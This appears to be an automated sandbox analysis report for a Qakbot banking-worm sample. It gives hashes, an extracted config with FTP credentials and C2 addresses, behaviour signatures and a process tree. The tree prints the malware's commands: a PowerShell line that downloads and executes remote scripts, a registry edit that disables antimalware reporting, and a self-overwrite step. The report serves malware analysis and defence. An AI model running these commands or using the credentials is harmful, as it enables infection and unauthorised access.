Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-05-2024 21:10

General

  • Target

    310e65a59d3c670bc2bededf7ddef03e_JaffaCakes118.exe

  • Size

    596KB

  • MD5

    310e65a59d3c670bc2bededf7ddef03e

  • SHA1

    77153c24512610f9ff8e00bf944a9fee8c8f2974

  • SHA256

    5cfbe018afa45304fb2d7775f635101ee4226ba594bb30cc0e5c017fd1d30da1

  • SHA512

    b2d7f3c16fa3f080a72b02b70319b1ab821a8910851e33e4655784f5371931782d58c92a2ddf37d0f5e429133b84481743f9b80a357e6a2615206c5e323d61a8

  • SSDEEP

    6144:BwzoiTihMxUxXH/64Hlh64tEfqpoSliPic7p0mO2WDJNkHtcvvwzRfI5aCieTVU:GzhTicUxlGUxoVPi79qHteyfIEeT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1

ps1.dropper

https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1

Extracted

Family

qakbot

Version

322.358

Botnet

mc06

Campaign

1527585056

Credentials

  • Protocol:
    ftp
  • Host:
    37.60.244.211
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    4AsEzIaMwi2d

  • Protocol:
    ftp
  • Host:
    198.38.77.162
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    kJm6DKVPfyiv

  • Protocol:
    ftp
  • Host:
    61.221.12.26
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    346HZGCMlwecz9S

  • Protocol:
    ftp
  • Host:
    67.222.137.18
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    p4a8k6fE1FtA3pR

  • Protocol:
    ftp
  • Host:
    107.6.152.61
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    RoP4Af0RKAAQ74V
C2

71.168.229.249:995

216.21.168.27:32101

216.218.74.196:443

46.177.55.119:443

66.222.48.40:443

93.108.180.227:443

47.40.29.239:443

184.180.157.203:2222

47.40.208.189:443

71.168.229.249:443

216.93.143.182:995

98.16.70.197:2222

75.127.141.50:995

96.248.15.254:995

74.87.248.174:2222

75.189.235.216:443

66.42.182.18:995

50.252.93.122:995

105.187.37.52:443

190.137.254.188:443

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2828
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2968
  • C:\Windows\system32\taskhostw.exe
    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2976
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3432
    • C:\Users\Admin\AppData\Local\Temp\310e65a59d3c670bc2bededf7ddef03e_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\310e65a59d3c670bc2bededf7ddef03e_JaffaCakes118.exe"
      2⤵
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1112
      • C:\Users\Admin\AppData\Local\Temp\310e65a59d3c670bc2bededf7ddef03e_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\310e65a59d3c670bc2bededf7ddef03e_JaffaCakes118.exe" /C
        3⤵
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        PID:5072
      • C:\Users\Admin\AppData\Roaming\Microsoft\Aehupe\aehup.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Aehupe\aehup.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1268
        • C:\Users\Admin\AppData\Roaming\Microsoft\Aehupe\aehup.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Aehupe\aehup.exe" /C
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious behavior: EnumeratesProcesses
          PID:2008
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3636
      • C:\Windows\system32\reg.exe
        C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
        3⤵
          PID:1856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1'); IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\mharlqxsphmtnmrgcqbpshzjhd.txt'"
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4176
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\310e65a59d3c670bc2bededf7ddef03e_JaffaCakes118.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:768
          • C:\Windows\SysWOW64\PING.EXE
            ping.exe -n 6 127.0.0.1
            4⤵
            • Runs ping.exe
            PID:552
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:3572
    • C:\Windows\system32\DllHost.exe
      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
      1⤵
        PID:3748
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3844
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        PID:3936
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
          PID:4020
        • C:\Windows\System32\RuntimeBroker.exe
          C:\Windows\System32\RuntimeBroker.exe -Embedding
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3456
        • C:\Windows\System32\RuntimeBroker.exe
          C:\Windows\System32\RuntimeBroker.exe -Embedding
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4368
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:776
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3288
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=124.0.6367.118 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=124.0.2478.80 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffbfd89ceb8,0x7ffbfd89cec4,0x7ffbfd89ced0
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3896
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2256,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:2
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3764
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1948,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:3
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4848
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2404,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:8
            2⤵
              PID:3632
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4176,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:8
              2⤵
                PID:1572
            • C:\Windows\system32\backgroundTaskHost.exe
              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca
              1⤵
                PID:4896
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4716
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3856

              Network

              MITRE ATT&CK Matrix ATT&CK v13

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Defense Evasion

              Modify Registry

              1
              T1112

              Discovery

              Query Registry

              2
              T1012

              System Information Discovery

              3
              T1082

              Peripheral Device Discovery

              1
              T1120

              Remote System Discovery

              1
              T1018

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                Filesize

                47KB

                MD5

                11b47e74dc0dcb35df32bd7eda4bafa9

                SHA1

                f7712ef8034bf5ebe191a0d1fa0ff2d2c56018fd

                SHA256

                ef1666a43273ec68e4a04c2274e03a45e2365d4ccae40b70d11542054860f8cd

                SHA512

                91b0ffe75a66c12402f7f280bb6fc10456301136263f0d7a36d3544e0746b843dc809b4bea74fdd350475dc76e447b6c56202ce534c3aecbc0698f3652691154

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2shvbiyq.ghu.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Roaming\Microsoft\Aehupe\aehu.dat
                Filesize

                92B

                MD5

                6bc7e90319080872ea7ba9b18d821155

                SHA1

                cbe2b2ce9a1267986a672207f7bbdfe067689bc5

                SHA256

                27eee1a25a4e6ec5f10e408550df291f846ca63ac51ba3d66a5fd0846d8481e6

                SHA512

                c879842629acdd57bce3a0175e360dd36391f693e057c38e960dea8d7abc345c4f221a27a3070a63ffb1c1010bbd00a780b91afb7595a51e883862f7c77fe6df

              • C:\Users\Admin\AppData\Roaming\Microsoft\Aehupe\aehup.exe
                Filesize

                596KB

                MD5

                310e65a59d3c670bc2bededf7ddef03e

                SHA1

                77153c24512610f9ff8e00bf944a9fee8c8f2974

                SHA256

                5cfbe018afa45304fb2d7775f635101ee4226ba594bb30cc0e5c017fd1d30da1

                SHA512

                b2d7f3c16fa3f080a72b02b70319b1ab821a8910851e33e4655784f5371931782d58c92a2ddf37d0f5e429133b84481743f9b80a357e6a2615206c5e323d61a8

              • C:\Users\Admin\AppData\Roaming\Microsoft\Aehupe\aehup32.dll
                Filesize

                357B

                MD5

                32ea6b0edb3702440a576ab7c1e8f776

                SHA1

                401c6c83e558c08b49ba819e6dc66f07dfa5a21b

                SHA256

                7b102b8219bb1f4bddb398e8e4405811bb5a29afc6b31506dfb83fcc2dcbc455

                SHA512

                2c98beedadbd5d2989944687c575ba8d64db21aa8b406e967153978cc3d19bf3d0378358f4902016a53b11bef3830fd99a884b85ee99d8394a77cc5f3ebe7d68

              • memory/776-85-0x0000000000330000-0x000000000035C000-memory.dmp
                Filesize

                176KB

              • memory/1112-2-0x0000000000400000-0x0000000000498000-memory.dmp
                Filesize

                608KB

              • memory/1112-40-0x0000000000400000-0x0000000000498000-memory.dmp
                Filesize

                608KB

              • memory/1112-0-0x00000000005C0000-0x00000000005C6000-memory.dmp
                Filesize

                24KB

              • memory/1112-32-0x0000000000400000-0x0000000000498000-memory.dmp
                Filesize

                608KB

              • memory/1268-18-0x0000000000680000-0x0000000000686000-memory.dmp
                Filesize

                24KB

              • memory/1268-42-0x0000000000400000-0x0000000000498000-memory.dmp
                Filesize

                608KB

              • memory/2008-41-0x0000000000400000-0x0000000000498000-memory.dmp
                Filesize

                608KB

              • memory/2828-46-0x0000000000900000-0x0000000000901000-memory.dmp
                Filesize

                4KB

              • memory/2828-47-0x00000000008A0000-0x00000000008CC000-memory.dmp
                Filesize

                176KB

              • memory/2968-50-0x00000000008F0000-0x000000000091C000-memory.dmp
                Filesize

                176KB

              • memory/2976-53-0x0000000000300000-0x000000000032C000-memory.dmp
                Filesize

                176KB

              • memory/3432-56-0x0000000000B00000-0x0000000000B2C000-memory.dmp
                Filesize

                176KB

              • memory/3456-79-0x0000000000B00000-0x0000000000B2C000-memory.dmp
                Filesize

                176KB

              • memory/3572-59-0x0000000000140000-0x000000000016C000-memory.dmp
                Filesize

                176KB

              • memory/3636-64-0x0000000002890000-0x00000000028BF000-memory.dmp
                Filesize

                188KB

              • memory/3636-43-0x0000000000A90000-0x0000000000AFA000-memory.dmp
                Filesize

                424KB

              • memory/3636-45-0x0000000000A90000-0x0000000000AFA000-memory.dmp
                Filesize

                424KB

              • memory/3636-62-0x0000000002890000-0x00000000028BF000-memory.dmp
                Filesize

                188KB

              • memory/3636-63-0x0000000000A90000-0x0000000000AFA000-memory.dmp
                Filesize

                424KB

              • memory/3636-66-0x0000000002890000-0x00000000028BF000-memory.dmp
                Filesize

                188KB

              • memory/3636-65-0x0000000002890000-0x00000000028BF000-memory.dmp
                Filesize

                188KB

              • memory/3748-69-0x0000000000BE0000-0x0000000000C0C000-memory.dmp
                Filesize

                176KB

              • memory/3844-71-0x00000000004B0000-0x00000000004DC000-memory.dmp
                Filesize

                176KB

              • memory/3856-93-0x00000000003E0000-0x000000000040C000-memory.dmp
                Filesize

                176KB

              • memory/3936-74-0x0000000000AD0000-0x0000000000AFC000-memory.dmp
                Filesize

                176KB

              • memory/4176-30-0x00007FFC061D0000-0x00007FFC06C91000-memory.dmp
                Filesize

                10.8MB

              • memory/4176-29-0x000002A1360A0000-0x000002A1360C2000-memory.dmp
                Filesize

                136KB

              • memory/4176-31-0x00007FFC061D0000-0x00007FFC06C91000-memory.dmp
                Filesize

                10.8MB

              • memory/4176-19-0x00007FFC061D3000-0x00007FFC061D5000-memory.dmp
                Filesize

                8KB

              • memory/4176-39-0x00007FFC061D0000-0x00007FFC06C91000-memory.dmp
                Filesize

                10.8MB

              • memory/4368-82-0x0000000000ED0000-0x0000000000EFC000-memory.dmp
                Filesize

                176KB

              • memory/4716-90-0x0000000000040000-0x000000000006C000-memory.dmp
                Filesize

                176KB

              • memory/5072-8-0x0000000000400000-0x0000000000498000-memory.dmp
                Filesize

                608KB

              • memory/5072-7-0x0000000000610000-0x0000000000616000-memory.dmp
                Filesize

                24KB